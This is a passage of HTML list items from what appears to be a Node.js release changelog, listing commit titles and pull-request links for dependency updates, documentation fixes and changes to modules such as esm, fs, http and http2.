<li>[<a href="https://github.com/nodejs/node/commit/7ab885b323"><code>7ab885b323</code></a>] - <strong>deps</strong>: update ada to 3.4.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62049/hovercard">#62049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/671ddec2b9"><code>671ddec2b9</code></a>] - <strong>deps</strong>: update minimatch to 10.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62016/hovercard">#62016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/290fe37d4d"><code>290fe37d4d</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a13bee76b5"><code>a13bee76b5</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0e40b35b9"><code>f0e40b35b9</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/463dfa023a"><code>463dfa023a</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b2e4bb108"><code>4b2e4bb108</code></a>] - <strong>deps</strong>: update nbytes to 0.1.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61879/hovercard">#61879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5626cb83d0"><code>5626cb83d0</code></a>] - <strong>deps</strong>: remove stale OpenSSL arch configs (René) <a href="https://github.com/nodejs/node/pull/61834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61834/hovercard">#61834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52668874fd"><code>52668874fd</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3387b07b1"><code>b3387b07b1</code></a>] - <strong>deps</strong>: update googletest to 5a9c3f9e8d9b90bbbe8feb32902146cb8f7c1757 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61731/hovercard">#61731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/196268cb4c"><code>196268cb4c</code></a>] - <strong>deps</strong>: V8: cherry-pick c5ff7c4d6cde (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61372/hovercard">#61372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36869b52de"><code>36869b52de</code></a>] - <strong>deps</strong>: update merve to 1.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62213/hovercard">#62213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cbac055de"><code>3cbac055de</code></a>] - <strong>deps</strong>: update merve to 1.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62149" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62149/hovercard">#62149</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7757cc3495"><code>7757cc3495</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61670/hovercard">#61670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/359797c2fb"><code>359797c2fb</code></a>] - <strong>deps,src</strong>: prepare for cpplint update (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ace802e59b"><code>ace802e59b</code></a>] - <strong>diagnostics_channel</strong>: add diagnostics channels for web locks (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62123/hovercard">#62123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a072411b03"><code>a072411b03</code></a>] - <strong>doc</strong>: remove spawn with shell example from bat/cmd section (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62243/hovercard">#62243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b152449af"><code>0b152449af</code></a>] - <strong>doc</strong>: fix typo in --disable-wasm-trap-handler description (Dmytro Semchuk) <a href="https://github.com/nodejs/node/pull/61820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61820/hovercard">#61820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73ea387ad7"><code>73ea387ad7</code></a>] - <strong>doc</strong>: remove obsolete Boxstarter automated install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61785" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61785/hovercard">#61785</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f234add8e"><code>7f234add8e</code></a>] - <strong>doc</strong>: deprecate <code>module.register()</code> (DEP0205) (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62395/hovercard">#62395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12fc3c6a30"><code>12fc3c6a30</code></a>] - <strong>doc</strong>: clarify that features cannot be both experimental and deprecated (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62456" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62456/hovercard">#62456</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ecc5962a2"><code>1ecc5962a2</code></a>] - <strong>doc</strong>: fix 'transfered' typo in quic.md (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62492/hovercard">#62492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56741a1303"><code>56741a1303</code></a>] - <strong>doc</strong>: move sqlite type conversion section to correct level (René) <a href="https://github.com/nodejs/node/pull/62482" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62482/hovercard">#62482</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12b04d17d5"><code>12b04d17d5</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4567e4a8d"><code>c4567e4a8d</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/384a41047f"><code>384a41047f</code></a>] - <strong>doc</strong>: enhance clarification about the main field (Mowafak Almahaini) <a href="https://github.com/nodejs/node/pull/62302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62302/hovercard">#62302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93d19b1a1c"><code>93d19b1a1c</code></a>] - <strong>doc</strong>: minor typo fix (Jeff Matson) <a href="https://github.com/nodejs/node/pull/62358" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62358/hovercard">#62358</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3db35d2c59"><code>3db35d2c59</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57b105c9d5"><code>57b105c9d5</code></a>] - <strong>doc</strong>: deprecate CryptoKey use in node:crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62321/hovercard">#62321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/490168c993"><code>490168c993</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0291be584b"><code>0291be584b</code></a>] - <strong>doc</strong>: test and test-only targets do not run linter (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/62120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62120/hovercard">#62120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba0a82a1e1"><code>ba0a82a1e1</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/125bdbf504"><code>125bdbf504</code></a>] - <strong>doc</strong>: clarify that any truthy value of <code>shell</code> is part of DEP0190 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62249/hovercard">#62249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a141ad0aeb"><code>a141ad0aeb</code></a>] - <strong>doc</strong>: remove outdated Chrome 66 and ndb references from debugger (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62202/hovercard">#62202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44bde8e573"><code>44bde8e573</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c46a1ca1a"><code>8c46a1ca1a</code></a>] - <strong>doc</strong>: copyedit <code>addons.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62071/hovercard">#62071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f989f02f7"><code>7f989f02f7</code></a>] - <strong>doc</strong>: correct <code>util.convertProcessSignalToExitCode</code> validation behavior (René) <a href="https://github.com/nodejs/node/pull/62134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62134/hovercard">#62134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4466ebdac"><code>a4466ebdac</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db516eca3a"><code>db516eca3a</code></a>] - <strong>doc</strong>: fix markdown for <code>expectFailure</code> values (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62100/hovercard">#62100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad97045125"><code>ad97045125</code></a>] - <strong>doc</strong>: include url.resolve() in DEP0169 application deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/62002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62002/hovercard">#62002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/309f37ba42"><code>309f37ba42</code></a>] - <strong>doc</strong>: expand SECURITY.md with non-vulnerability examples (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61972/hovercard">#61972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3551b7b"><code>dbb3551b7b</code></a>] - <strong>doc</strong>: separate in-types and out-types in SQLite conversion docs (René) <a href="https://github.com/nodejs/node/pull/62034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62034/hovercard">#62034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/191c433db8"><code>191c433db8</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8511b1c784"><code>8511b1c784</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd1139f52c"><code>dd1139f52c</code></a>] - <strong>doc</strong>: update DEP0040 (punycode) to application type deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61916/hovercard">#61916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54009e9c62"><code>54009e9c62</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78fa1a1a49"><code>78fa1a1a49</code></a>] - <strong>doc</strong>: support toolchain Visual Studio 2022 &amp; 2026 + Windows 11 SDK (Mike McCready) <a href="https://github.com/nodejs/node/pull/61864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61864/hovercard">#61864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8204d3cdb"><code>d8204d3cdb</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a5a14482fb"><code>a5a14482fb</code></a>] - <strong>doc</strong>: clarify status of feature request issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61505/hovercard">#61505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd0688feb6"><code>bd0688feb6</code></a>] - <strong>doc</strong>: add esm and cjs examples to node:vm (Alfredo González) <a href="https://github.com/nodejs/node/pull/61498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61498/hovercard">#61498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/240b512f9f"><code>240b512f9f</code></a>] - <strong>doc</strong>: clarify build environment is trusted in threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61865" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61865/hovercard">#61865</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dd48e3456"><code>5dd48e3456</code></a>] - <strong>doc</strong>: remove incorrect mention of <code>module</code> in <code>typescript.md</code> (Rob Palmer) <a href="https://github.com/nodejs/node/pull/61839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61839/hovercard">#61839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9502c22055"><code>9502c22055</code></a>] - <strong>doc</strong>: simplify addAbortListener example (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/61842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61842/hovercard">#61842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fec397828"><code>6fec397828</code></a>] - <strong>doc</strong>: clean up globals.md (René) <a href="https://github.com/nodejs/node/pull/61822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61822/hovercard">#61822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a810f5ccef"><code>a810f5ccef</code></a>] - <strong>doc</strong>: clarify async caveats for <code>events.once()</code> (René) <a href="https://github.com/nodejs/node/pull/61572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61572/hovercard">#61572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bf990bb1a"><code>2bf990bb1a</code></a>] - <strong>doc</strong>: update Juan's security steward info (Juan José) <a href="https://github.com/nodejs/node/pull/61754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61754/hovercard">#61754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0312db948d"><code>0312db948d</code></a>] - <strong>doc</strong>: fix methods being documented as properties in <code>process.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61765/hovercard">#61765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e558b26e7f"><code>e558b26e7f</code></a>] - <strong>doc</strong>: add riscv64 info into platform list (Lu Yahan) <a href="https://github.com/nodejs/node/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/42251/hovercard">#42251</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/49254e3dc0"><code>49254e3dc0</code></a>] - <strong>doc</strong>: fix dropdown menu being obscured at &lt;600px due to stacking context (Jeff) <a href="https://github.com/nodejs/node/pull/61735" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61735/hovercard">#61735</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ff01b5c10"><code>4ff01b5c10</code></a>] - <strong>doc</strong>: fix spacing in process message event (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61756/hovercard">#61756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94097a79d6"><code>94097a79d6</code></a>] - <strong>doc</strong>: move describe/it aliases section before expectFailure (Luca Raveri) <a href="https://github.com/nodejs/node/pull/61567" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61567/hovercard">#61567</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7cd31acbe"><code>b7cd31acbe</code></a>] - <strong>doc</strong>: fix broken links of net.md (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/61673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61673/hovercard">#61673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae5e353fe2"><code>ae5e353fe2</code></a>] - <strong>doc</strong>: clean up Windows code snippet in <code>child_process.md</code> (reillylm) <a href="https://github.com/nodejs/node/pull/61422" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61422/hovercard">#61422</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea9beb6a3c"><code>ea9beb6a3c</code></a>] - <strong>doc</strong>: update to Visual Studio 2026 manual install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61655" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61655/hovercard">#61655</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42057c84e2"><code>42057c84e2</code></a>] - <strong>doc,module</strong>: add missing doc for syncHooks.deregister() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61959/hovercard">#61959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a035bd5235"><code>a035bd5235</code></a>] - <strong>doc,test</strong>: clarify --eval syntax for leading '-' scripts (kovan) <a href="https://github.com/nodejs/node/pull/62244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62244/hovercard">#62244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deb0b78460"><code>deb0b78460</code></a>] - <strong>esm</strong>: fix typo in worker loader hook comment (jakecastelli) <a href="https://github.com/nodejs/node/pull/62475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62475/hovercard">#62475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b93bf7dbfc"><code>b93bf7dbfc</code></a>] - <strong>esm</strong>: fix source phase identity bug in loadCache eviction (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62415/hovercard">#62415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/679d18b57f"><code>679d18b57f</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/171e9fc268"><code>171e9fc268</code></a>] - <strong>esm</strong>: update outdated FIXME comment in translators.js (Karan Mangtani) <a href="https://github.com/nodejs/node/pull/61715" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61715/hovercard">#61715</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc19728228"><code>cc19728228</code></a>] - <strong>events</strong>: avoid cloning listeners array on every emit (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62261/hovercard">#62261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/458c92be52"><code>458c92be52</code></a>] - <strong>events</strong>: don't call resume after close (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60548/hovercard">#60548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4691f3e7fb"><code>4691f3e7fb</code></a>] - <strong>fs</strong>: fix cpSync to handle non-ASCII characters (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61950/hovercard">#61950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4a3edc47a"><code>f4a3edc47a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>throwIfNoEntry</code> option for fs.stat and fs.promises.stat (Juan José) <a href="https://github.com/nodejs/node/pull/61178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61178/hovercard">#61178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58e4d50cd0"><code>58e4d50cd0</code></a>] - <strong>http</strong>: fix use-after-free when freeParser is called during llhttp_execute (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62095/hovercard">#62095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a4ad85ab0"><code>0a4ad85ab0</code></a>] - <strong>http</strong>: validate ClientRequest path on set (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62030" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62030/hovercard">#62030</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f8178ac3e6"><code>f8178ac3e6</code></a>] - <strong>http</strong>: validate headers in writeEarlyHints (Richard Clarke) <a href="https://github.com/nodejs/node/pull/61897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61897/hovercard">#61897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/899884d0ed"><code>899884d0ed</code></a>] - <strong>http</strong>: remove redundant keepAliveTimeoutBuffer assignment (Efe) <a href="https://github.com/nodejs/node/pull/61743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61743/hovercard">#61743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08d2e40694"><code>08d2e40694</code></a>] - <strong>http</strong>: attach error handler to socket synchronously in onSocket (RajeshKumar11) <a href="https://github.com/nodejs/node/pull/61770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61770/hovercard">#61770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c2064c1f8"><code>1c2064c1f8</code></a>] - <strong>http</strong>: fix keep-alive socket reuse race in requestOnFinish (Martin Slota) <a href="https://github.com/nodejs/node/pull/61710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61710/hovercard">#61710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38e9c66e0f"><code>38e9c66e0f</code></a>] - <strong>http2</strong>: add strictSingleValueFields option to relax header validation (Tim Perry) <a href="https://github.com/nodejs/node/pull/59917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59917/hovercard">#59917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cdcba17cc"><code>5cdcba17cc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http2</strong>: add http1Options for HTTP/1 fallback configuration (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61713/hovercard">#61713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/687c0acd00"><code>687c0acd00</code></a>] - <strong>http2</strong>: fix FileHandle leak in respondWithFile (sangwook) <a href="https://github.com/nodejs/node/pull/61707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61707/hovercard">#61707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c8f802ec2"><code>0c8f802ec2</code></a>] - <strong>inspector</strong>: add Target.getTargets and extract TargetManager (Kohei) <a href="https://github.com/nodejs/node/pull/62487" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62487/hovercard">#62487</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7de8a303c1"><code>7de8a303c1</code></a>] - <strong>inspector</strong>: unwrap internal/debugger/inspect imports (René) <a href="https://github.com/nodejs/node/pull/61974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61974/hovercard">#61974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59ac10a4fd"><code>59ac10a4fd</code></a>] - <strong>lib</strong>: make SubtleCrypto.supports enumerable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62307" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62307/hovercard">#62307</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dc102ba90"><code>9dc102ba90</code></a>] - <strong>lib</strong>: prefer primordials in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78a9aa8f32"><code>78a9aa8f32</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16b8cc6643"><code>16b8cc6643</code></a>] - <strong>lib</strong>: improve argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/61980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61980/hovercard">#61980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a03b5d39b8"><code>a03b5d39b8</code></a>] - <strong>lib</strong>: reduce cycles in esm loader and load it in snapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1017bf5f86"><code>1017bf5f86</code></a>] - <strong>lib</strong>: remove top-level getOptionValue() calls in lib/internal/modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d79984b41b"><code>d79984b41b</code></a>] - <strong>lib</strong>: optimize styleText when validateStream is false (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61792" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61792/hovercard">#61792</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6462b89d10"><code>6462b89d10</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 7.0.0 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62063/hovercard">#62063</a></li>
